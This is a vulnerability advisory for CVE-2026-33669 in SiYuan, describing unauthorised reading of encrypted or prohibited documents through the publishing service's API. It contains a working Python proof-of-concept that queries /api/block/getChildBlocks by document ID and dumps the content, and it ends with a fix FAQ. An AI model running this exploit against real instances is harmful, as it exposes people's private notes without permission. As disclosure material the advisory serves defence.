CVE-2026-33669: SiYuan has Arbitrary Document Reading within the Publishing Service
Details
Document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.
PoC
python #!/usr/bin/env python3 """SiYuan /api/block/getChildBlocks 文档内容读取""" import requests import json import sys
def getchildblocks(targeturl, docid): """ 调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容 """ url = f"{targeturl.rstrip('/')}/api/block/getChildBlocks" headers = { "Content-Type": "application/json" } data = { "id": docid } try: response = requests.post(url, json=data, headers=headers, timeout=10) response.raiseforstatus() result = response.json() if result.get("code") != 0: print(f"[-] 请求失败: {result.get('msg', '未知错误')}") return None return result.get("data") except requests.exceptions.RequestException as e: print(f"[-] 网络请求失败: {e}") return None except json.JSONDecodeError as e: print(f"[-] JSON解析失败: {e}") return None
def formatblockcontent(block): """格式化块内容""" content = "" # 获取块内容 if isinstance(block, dict): # 尝试多种可能的字段 md = block.get("markdown", "") or block.get("content", "") or "" if md: content = md.strip() return content
def main(): """主函数""" if len(sys.argv) > 1: targeturl = sys.argv[1] else: targeturl = input("请输入 SiYuan 服务地址 (例如: http://localhost:6806): ").strip() if not targeturl: targeturl = "http://localhost:6806" print(f"目标地址: {targeturl}") print("=" 50) while True: print("\n" + "=" 50) docid = input("请输入文档ID (输入 'quit' 或 'exit' 退出): ").strip() if docid.lower() in ['quit', 'exit', 'q']: print("程序退出") break if not docid: print("[-] 文档ID不能为空") continue print(f"\n[] 正在读取文档: {docid}") blocks = getchildblocks(targeturl, docid) if blocks is None: print("[-] 获取文档内容失败") continue if not blocks: print(f"[!] 文档 {docid} 没有子块或为空") continue print(f"[+] 成功获取 {len(blocks)} 个子块") print("-" 50) # 保存所有块内容 allblockscontent = [] for i, block in enumerate(blocks, 1): content = formatblockcontent(block) if content: print(content[:200] + ("..." if len(content) > 200 else "")) allblockscontent.append({ "index": i, "content": content, "rawblock": block }) # 询问是否保存到文件 savechoice = input("\n是否保存到文件? (y/N): ").strip().lower() if savechoice in ['y', 'yes']: filename = f"doc{docid}blocks.json" try: with open(filename, "w", encoding="utf-8") as f: json.dump({ "docid": docid, "blockcount": len(blocks), "blocks": allblockscontent }, f, ensureascii=False, indent=2) print(f"[+] 已保存到: {filename}") except Exception as e: print(f"[-] 保存失败: {e}") print("-" 50)
if name == "main": main()
<img width="1492" height="757" alt="image" src="https://github.com/user-attachments/assets/2e08a286-dceb-4fd5-87d5-44f39983dcbc" />
Impact
File reading: All encrypted or prohibited documents under the publishing service could be read.
Other sources
SiYuan is a personal knowledge management system. Prior to version 3.6.2, document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents. Version 3.6.2 patches the issue.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the impact of CVE-2026-33669?
CVE-2026-33669 allows unauthorized retrieval of document IDs and content through exposed API endpoints.
What software versions are affected by CVE-2026-33669?
CVE-2026-33669 affects versions of SiYuan up to 0.0.0-20260317012524-fe4523fff2c8.
How do I fix CVE-2026-33669?
To fix CVE-2026-33669, update to a patched version of SiYuan that addresses this vulnerability.
What should I do if I am using an affected version of SiYuan with CVE-2026-33669?
If using an affected version, it is recommended to immediately upgrade to a secure version of the software.
Is there a proof of concept for CVE-2026-33669?
Yes, there is a proof of concept that demonstrates how to exploit the CVE-2026-33669 vulnerability using API calls.